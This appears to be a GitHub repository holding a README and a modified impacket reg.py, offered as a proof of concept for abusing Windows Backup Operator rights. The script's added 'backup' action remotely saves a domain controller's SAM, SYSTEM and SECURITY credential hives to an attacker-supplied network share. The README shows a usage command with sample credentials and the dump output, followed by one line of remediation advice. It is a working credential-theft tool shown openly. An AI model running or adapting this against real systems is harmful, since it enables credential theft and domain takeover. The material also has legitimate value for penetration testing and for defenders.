├── README.md ├── backup_dc_hive.png └── reg.py /README.md: -------------------------------------------------------------------------------- 1 | # Backup Operator Registry Backup to Domain Compromise 2 | A simple POC that abuses Backup Operator privileges to remote dump SAM, SYSTEM, and SECURITY hives. 3 | 4 | Research credit to: 5 | - [@filip_dragovic](https://twitter.com/filip_dragovic) 6 | - Ported from [@mpgn](https://twitter.com/mpgn_x64) Windows [PoC](https://github.com/mpgn/BackupOperatorToDA) 7 | 8 | ## Usage 9 | This proof of concept is a modified version of impacket/examples/reg.py and will work with the most recent impacket release installed. All supported impacket authentication mechanisms will work. 10 | 11 | ``` 12 | root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share' 13 | Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation 14 | 15 | Dumping SAM hive to \\10.0.220.51\share\SAM 16 | Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM 17 | Dumping SECURITY hive to \\10.0.220.51\share\SECURITY 18 | ``` 19 | 20 | ![Proof](backup_dc_hive.png) 21 | 22 | ## Remediation: 23 | Treat `Backup Operators` domain group as Domain Adminstrators and other Tier 0 resources 24 | -------------------------------------------------------------------------------- /backup_dc_hive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/horizon3ai/backup_dc_registry/e4514805753a59f6b3590ec706404a3cb612039a/backup_dc_hive.png -------------------------------------------------------------------------------- /reg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Remote registry manipulation tool. 12 | # The idea is to provide similar functionality as the REG.EXE Windows utility. 13 | # 14 | # e.g: 15 | # ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s 16 | # ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1 17 | # ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService 18 | # ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share' 19 | # ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin 20 | # 21 | # Author: 22 | # Manuel Porto (@manuporto) 23 | # Alberto Solino (@agsolino) 24 | # 25 | # Reference for: 26 | # [MS-RRP] 27 | # 28 | 29 | from __future__ import division 30 | from __future__ import print_function 31 | import argparse 32 | import codecs 33 | import logging 34 | import sys 35 | import time 36 | from struct import unpack 37 | 38 | from impacket import version 39 | from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt 40 | from impacket.examples import logger 41 | from impacket.examples.utils import parse_target 42 | from impacket.system_errors import ERROR_NO_MORE_ITEMS 43 | from impacket.structure import hexdump 44 | from impacket.smbconnection import SMBConnection 45 | from impacket.dcerpc.v5.dtypes import READ_CONTROL, NULL 46 | 47 | 48 | class RemoteOperations: 49 | def __init__(self, smbConnection, doKerberos, kdcHost=None): 50 | self.__smbConnection = smbConnection 51 | self.__smbConnection.setTimeout(5 * 60) 52 | self.__serviceName = 'RemoteRegistry' 53 | self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 54 | self.__rrp = None 55 | self.__regHandle = None 56 | 57 | self.__doKerberos = doKerberos 58 | self.__kdcHost = kdcHost 59 | 60 | self.__disabled = False 61 | self.__shouldStop = False 62 | self.__started = False 63 | 64 | self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 65 | self.__scmr = None 66 | 67 | def getRRP(self): 68 | return self.__rrp 69 | 70 | def __connectSvcCtl(self): 71 | rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 72 | rpc.set_smb_connection(self.__smbConnection) 73 | self.__scmr = rpc.get_dce_rpc() 74 | self.__scmr.connect() 75 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 76 | 77 | def connectWinReg(self): 78 | rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 79 | rpc.set_smb_connection(self.__smbConnection) 80 | self.__rrp = rpc.get_dce_rpc() 81 | self.__rrp.connect() 82 | self.__rrp.bind(rrp.MSRPC_UUID_RRP) 83 | 84 | def __checkServiceStatus(self): 85 | # Open SC Manager 86 | ans = scmr.hROpenSCManagerW(self.__scmr) 87 | self.__scManagerHandle = ans['lpScHandle'] 88 | # Now let's open the service 89 | ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 90 | self.__serviceHandle = ans['lpServiceHandle'] 91 | # Let's check its status 92 | ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 93 | if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 94 | logging.info('Service %s is in stopped state' % self.__serviceName) 95 | self.__shouldStop = True 96 | self.__started = False 97 | elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 98 | logging.debug('Service %s is already running' % self.__serviceName) 99 | self.__shouldStop = False 100 | self.__started = True 101 | else: 102 | raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 103 | 104 | # Let's check its configuration if service is stopped, maybe it's disabled :s 105 | if self.__started is False: 106 | ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle) 107 | if ans['lpServiceConfig']['dwStartType'] == 0x4: 108 | logging.info('Service %s is disabled, enabling it' % self.__serviceName) 109 | self.__disabled = True 110 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3) 111 | logging.info('Starting service %s' % self.__serviceName) 112 | scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) 113 | time.sleep(1) 114 | 115 | def enableRegistry(self): 116 | self.__connectSvcCtl() 117 | self.__checkServiceStatus() 118 | self.connectWinReg() 119 | 120 | def __restore(self): 121 | # First of all stop the service if it was originally stopped 122 | if self.__shouldStop is True: 123 | logging.info('Stopping service %s' % self.__serviceName) 124 | scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 125 | if self.__disabled is True: 126 | logging.info('Restoring the disabled state for service %s' % self.__serviceName) 127 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) 128 | 129 | def finish(self): 130 | self.__restore() 131 | if self.__rrp is not None: 132 | self.__rrp.disconnect() 133 | if self.__scmr is not None: 134 | self.__scmr.disconnect() 135 | 136 | 137 | class RegHandler: 138 | def __init__(self, username, password, domain, options): 139 | self.__username = username 140 | self.__password = password 141 | self.__domain = domain 142 | self.__options = options 143 | self.__action = options.action.upper() 144 | self.__lmhash = '' 145 | self.__nthash = '' 146 | self.__aesKey = options.aesKey 147 | self.__doKerberos = options.k 148 | self.__kdcHost = options.dc_ip 149 | self.__smbConnection = None 150 | self.__remoteOps = None 151 | 152 | # It's possible that this is defined somewhere, but I couldn't find where 153 | self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', 154 | 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} 155 | 156 | if options.hashes is not None: 157 | self.__lmhash, self.__nthash = options.hashes.split(':') 158 | 159 | def connect(self, remoteName, remoteHost): 160 | self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) 161 | 162 | if self.__doKerberos: 163 | self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, 164 | self.__nthash, self.__aesKey, self.__kdcHost) 165 | else: 166 | self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 167 | 168 | def run(self, remoteName, remoteHost): 169 | self.connect(remoteName, remoteHost) 170 | self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) 171 | 172 | if self.__action == 'BACKUP': 173 | self.__remoteOps.connectWinReg() 174 | else: 175 | try: 176 | self.__remoteOps.enableRegistry() 177 | except Exception as e: 178 | logging.debug(str(e)) 179 | logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') 180 | self.__remoteOps.connectWinReg() 181 | 182 | try: 183 | dce = self.__remoteOps.getRRP() 184 | 185 | if self.__action == 'QUERY': 186 | self.query(dce, self.__options.keyName) 187 | elif self.__action == 'ADD': 188 | self.add(dce, self.__options.keyName) 189 | elif self.__action == 'DELETE': 190 | self.delete(dce, self.__options.keyName) 191 | elif self.__action == 'BACKUP': 192 | for hive in ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY']: 193 | self.backup(dce, hive) 194 | else: 195 | logging.error('Method %s not implemented yet!' % self.__action) 196 | except (Exception, KeyboardInterrupt) as e: 197 | #import traceback 198 | #traceback.print_exc() 199 | logging.critical(str(e)) 200 | finally: 201 | if self.__remoteOps: 202 | self.__remoteOps.finish() 203 | 204 | def query(self, dce, keyName): 205 | hRootKey, subKey = self.__strip_root_key(dce, keyName) 206 | 207 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 208 | samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) 209 | 210 | if self.__options.v: 211 | print(keyName) 212 | value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) 213 | print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) 214 | elif self.__options.ve: 215 | print(keyName) 216 | value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') 217 | print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) 218 | elif self.__options.s: 219 | self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) 220 | else: 221 | print(keyName) 222 | self.__print_key_values(dce, ans2['phkResult']) 223 | i = 0 224 | while True: 225 | try: 226 | key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) 227 | print(keyName + '\\' + key['lpNameOut'][:-1]) 228 | i += 1 229 | except Exception: 230 | break 231 | # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) 232 | # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) 233 | 234 | def backup(self, dce, keyName): 235 | KEY_READ = 0x00020019 236 | REG_OPTION_BACKUP_RESTORE = 0x00000004 237 | REG_OPTION_OPEN_LINK = 0x00000008 238 | 239 | hRootKey, subKey = self.__strip_root_key(dce, keyName) 240 | path = self.__options.path + '\\' + subKey 241 | print('Dumping ' + subKey + ' hive to ' + path) 242 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ) 243 | ans3 = rrp.hBaseRegSaveKey(dce, ans2['phkResult'], path, NULL) 244 | 245 | def add(self, dce, keyName): 246 | hRootKey, subKey = self.__strip_root_key(dce, keyName) 247 | 248 | # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) 249 | if self.__options.v is None: # Try to create subkey 250 | subKeyCreate = subKey 251 | subKey = '\\'.join(subKey.split('\\')[:-1]) 252 | 253 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 254 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) 255 | 256 | # Should I use ans2? 257 | 258 | ans3 = rrp.hBaseRegCreateKey( 259 | dce, hRootKey, subKeyCreate, 260 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY 261 | ) 262 | if ans3['ErrorCode'] == 0: 263 | print('Successfully set subkey %s' % ( 264 | keyName 265 | )) 266 | else: 267 | print('Error 0x%08x while creating subkey %s' % ( 268 | ans3['ErrorCode'], keyName 269 | )) 270 | 271 | else: # Try to set value of key 272 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 273 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) 274 | 275 | 276 | dwType = getattr(rrp, self.__options.vt, None) 277 | 278 | if dwType is None or not self.__options.vt.startswith('REG_'): 279 | raise Exception('Error parsing value type %s' % self.__options.vt) 280 | 281 | #Fix (?) for packValue function 282 | if dwType in ( 283 | rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, 284 | rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN 285 | ): 286 | valueData = int(self.__options.vd) 287 | else: 288 | valueData = self.__options.vd 289 | 290 | ans3 = rrp.hBaseRegSetValue( 291 | dce, ans2['phkResult'], self.__options.v, dwType, valueData 292 | ) 293 | 294 | if ans3['ErrorCode'] == 0: 295 | print('Successfully set key %s\\%s of type %s to value %s' % ( 296 | keyName, self.__options.v, self.__options.vt, valueData 297 | )) 298 | else: 299 | print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % ( 300 | ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData 301 | )) 302 | 303 | def delete(self, dce, keyName): 304 | hRootKey, subKey = self.__strip_root_key(dce, keyName) 305 | 306 | # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) 307 | if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey 308 | subKeyDelete = subKey 309 | subKey = '\\'.join(subKey.split('\\')[:-1]) 310 | 311 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 312 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) 313 | 314 | # Should I use ans2? 315 | try: 316 | ans3 = rrp.hBaseRegDeleteKey( 317 | dce, hRootKey, subKeyDelete, 318 | ) 319 | except rpcrt.DCERPCException as e: 320 | if e.error_code == 5: 321 | #TODO: Check if DCERPCException appears only because of existing subkeys 322 | print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName) 323 | return 324 | else: 325 | raise 326 | except Exception as e: 327 | logging.error('Unhandled exception while hBaseRegDeleteKey') 328 | return 329 | 330 | if ans3['ErrorCode'] == 0: 331 | print('Successfully deleted subkey %s' % ( 332 | keyName 333 | )) 334 | else: 335 | print('Error 0x%08x while deleting subkey %s' % ( 336 | ans3['ErrorCode'], keyName 337 | )) 338 | 339 | elif self.__options.v: # Delete single value 340 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 341 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) 342 | 343 | ans3 = rrp.hBaseRegDeleteValue( 344 | dce, ans2['phkResult'], self.__options.v 345 | ) 346 | 347 | if ans3['ErrorCode'] == 0: 348 | print('Successfully deleted key %s\\%s' % ( 349 | keyName, self.__options.v 350 | )) 351 | else: 352 | print('Error 0x%08x while deleting key %s\\%s' % ( 353 | ans3['ErrorCode'], keyName, self.__options.v 354 | )) 355 | 356 | elif self.__options.ve: 357 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 358 | samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) 359 | 360 | ans3 = rrp.hBaseRegDeleteValue( 361 | dce, ans2['phkResult'], '' 362 | ) 363 | 364 | if ans3['ErrorCode'] == 0: 365 | print('Successfully deleted value %s\\%s' % ( 366 | keyName, 'Default' 367 | )) 368 | else: 369 | print('Error 0x%08x while deleting value %s\\%s' % ( 370 | ans3['ErrorCode'], keyName, self.__options.v 371 | )) 372 | 373 | elif self.__options.va: 374 | ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 375 | samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) 376 | i = 0 377 | allSubKeys = [] 378 | while True: 379 | try: 380 | ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i) 381 | lp_value_name = ans3['lpValueNameOut'][:-1] 382 | allSubKeys.append(lp_value_name) 383 | i += 1 384 | except rrp.DCERPCSessionError as e: 385 | if e.get_error_code() == ERROR_NO_MORE_ITEMS: 386 | break 387 | 388 | ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, 389 | samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) 390 | for subKey in allSubKeys: 391 | try: 392 | ans5 = rrp.hBaseRegDeleteValue( 393 | dce, ans4['phkResult'], subKey 394 | ) 395 | if ans5['ErrorCode'] == 0: 396 | print('Successfully deleted value %s\\%s' % ( 397 | keyName, subKey 398 | )) 399 | else: 400 | print('Error 0x%08x in deletion of value %s\\%s' % ( 401 | ans5['ErrorCode'], keyName, subKey 402 | )) 403 | except Exception as e: 404 | print('Unhandled error %s in deletion of value %s\\%s' % ( 405 | str(e), keyName, subKey 406 | )) 407 | 408 | def __strip_root_key(self, dce, keyName): 409 | # Let's strip the root key 410 | try: 411 | rootKey = keyName.split('\\')[0] 412 | subKey = '\\'.join(keyName.split('\\')[1:]) 413 | except Exception: 414 | raise Exception('Error parsing keyName %s' % keyName) 415 | if rootKey.upper() == 'HKLM': 416 | ans = rrp.hOpenLocalMachine(dce) 417 | elif rootKey.upper() == 'HKU': 418 | ans = rrp.hOpenCurrentUser(dce) 419 | elif rootKey.upper() == 'HKCR': 420 | ans = rrp.hOpenClassesRoot(dce) 421 | else: 422 | raise Exception('Invalid root key %s ' % rootKey) 423 | hRootKey = ans['phKey'] 424 | return hRootKey, subKey 425 | 426 | def __print_key_values(self, rpc, keyHandler): 427 | i = 0 428 | while True: 429 | try: 430 | ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) 431 | lp_value_name = ans4['lpValueNameOut'][:-1] 432 | if len(lp_value_name) == 0: 433 | lp_value_name = '(Default)' 434 | lp_type = ans4['lpType'] 435 | lp_data = b''.join(ans4['lpData']) 436 | print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ') 437 | self.__parse_lp_data(lp_type, lp_data) 438 | i += 1 439 | except rrp.DCERPCSessionError as e: 440 | if e.get_error_code() == ERROR_NO_MORE_ITEMS: 441 | break 442 | 443 | def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): 444 | index = 0 445 | while True: 446 | try: 447 | subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) 448 | index += 1 449 | ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], 450 | samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) 451 | newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' 452 | print(newKeyName) 453 | self.__print_key_values(rpc, ans['phkResult']) 454 | self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) 455 | except rrp.DCERPCSessionError as e: 456 | if e.get_error_code() == ERROR_NO_MORE_ITEMS: 457 | break 458 | except rpcrt.DCERPCException as e: 459 | if str(e).find('access_denied') >= 0: 460 | logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) 461 | continue 462 | elif str(e).find('rpc_x_bad_stub_data') >= 0: 463 | logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) 464 | return 465 | raise 466 | 467 | @staticmethod 468 | def __parse_lp_data(valueType, valueData): 469 | try: 470 | if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: 471 | if type(valueData) is int: 472 | print('NULL') 473 | else: 474 | print("%s" % (valueData.decode('utf-16le')[:-1])) 475 | elif valueType == rrp.REG_BINARY: 476 | print('') 477 | hexdump(valueData, '\t') 478 | elif valueType == rrp.REG_DWORD: 479 | print("0x%x" % (unpack(' 1: 485 | print('') 486 | hexdump(valueData, '\t') 487 | else: 488 | print(" NULL") 489 | except: 490 | print(" NULL") 491 | elif valueType == rrp.REG_MULTI_SZ: 492 | print("%s" % (valueData.decode('utf-16le')[:-2])) 493 | else: 494 | print("Unknown Type 0x%x!" % valueType) 495 | hexdump(valueData) 496 | except Exception as e: 497 | logging.debug('Exception thrown when printing reg value %s', str(e)) 498 | print('Invalid data') 499 | pass 500 | 501 | 502 | if __name__ == '__main__': 503 | 504 | # Init the example's logger theme 505 | logger.init() 506 | # Explicitly changing the stdout encoding format 507 | if sys.stdout.encoding is None: 508 | # Output is redirected to a file 509 | sys.stdout = codecs.getwriter('utf8')(sys.stdout) 510 | print(version.BANNER) 511 | 512 | parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") 513 | 514 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 515 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 516 | subparsers = parser.add_subparsers(help='actions', dest='action') 517 | 518 | # A query command 519 | query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' 520 | 'are located under a specified subkey in the registry.') 521 | query_parser.add_argument('-keyName', action='store', required=True, 522 | help='Specifies the full path of the subkey. The ' 523 | 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' 524 | ' HKU, HKCR.') 525 | query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 526 | 'value name that is to be queried. If omitted, all value names for keyName are returned. ') 527 | query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' 528 | 'value or empty value name') 529 | query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' 530 | 'names recursively.') 531 | 532 | # An add command 533 | add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') 534 | add_parser.add_argument('-keyName', action='store', required=True, 535 | help='Specifies the full path of the subkey. The ' 536 | 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' 537 | ' HKU, HKCR.') 538 | add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 539 | 'value name that is to be set.') 540 | add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' 541 | 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' 542 | 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', 543 | default='REG_SZ') 544 | add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry ' 545 | 'value data that is to be set.', default='') 546 | 547 | # An delete command 548 | delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') 549 | delete_parser.add_argument('-keyName', action='store', required=True, 550 | help='Specifies the full path of the subkey. The ' 551 | 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' 552 | ' HKU, HKCR.') 553 | delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 554 | 'value name that is to be deleted.') 555 | delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.') 556 | delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).') 557 | 558 | # A backup command - for abusing Backup Operator permissions 559 | backup_parser = subparsers.add_parser('backup', help='Saves a copy of SAM, SYSTEM, and SECURITY at the specified path.') 560 | backup_parser.add_argument('-path', action='store', required=True, help='The UNC path to store the registry values') 561 | 562 | # A copy command 563 | # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' 564 | # 'computer') 565 | 566 | # A save command 567 | # save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' 568 | # 'registry in a specified file.') 569 | 570 | # A load command 571 | # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' 572 | # 'the registry.') 573 | 574 | # An unload command 575 | # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' 576 | # 'reg load operation.') 577 | 578 | # A compare command 579 | # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') 580 | 581 | # A export command 582 | # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' 583 | # 'a file') 584 | 585 | # A import command 586 | # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' 587 | # 'and values into the remote computer\'s registry') 588 | 589 | 590 | group = parser.add_argument_group('authentication') 591 | 592 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 593 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 594 | group.add_argument('-k', action="store_true", 595 | help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' 596 | 'target parameters. If valid credentials cannot be found, it will use the ones specified ' 597 | 'in the command line') 598 | group.add_argument('-aesKey', action="store", metavar="hex key", 599 | help='AES key to use for Kerberos Authentication (128 or 256 bits)') 600 | 601 | group = parser.add_argument_group('connection') 602 | 603 | group.add_argument('-dc-ip', action='store', metavar="ip address", 604 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 605 | 'the target parameter') 606 | group.add_argument('-target-ip', action='store', metavar="ip address", 607 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 608 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 609 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 610 | help='Destination port to connect to SMB Server') 611 | 612 | if len(sys.argv) == 1: 613 | parser.print_help() 614 | sys.exit(1) 615 | 616 | options = parser.parse_args() 617 | 618 | if options.debug is True: 619 | logging.getLogger().setLevel(logging.DEBUG) 620 | # Print the Library's installation path 621 | logging.debug(version.getInstallationPath()) 622 | else: 623 | logging.getLogger().setLevel(logging.INFO) 624 | 625 | domain, username, password, remoteName = parse_target(options.target) 626 | 627 | if options.target_ip is None: 628 | options.target_ip = remoteName 629 | 630 | if domain is None: 631 | domain = '' 632 | 633 | if options.aesKey is not None: 634 | options.k = True 635 | 636 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 637 | from getpass import getpass 638 | 639 | password = getpass("Password:") 640 | 641 | regHandler = RegHandler(username, password, domain, options) 642 | try: 643 | regHandler.run(remoteName, options.target_ip) 644 | except Exception as e: 645 | #import traceback 646 | #traceback.print_exc() 647 | logging.error(str(e)) 648 | --------------------------------------------------------------------------------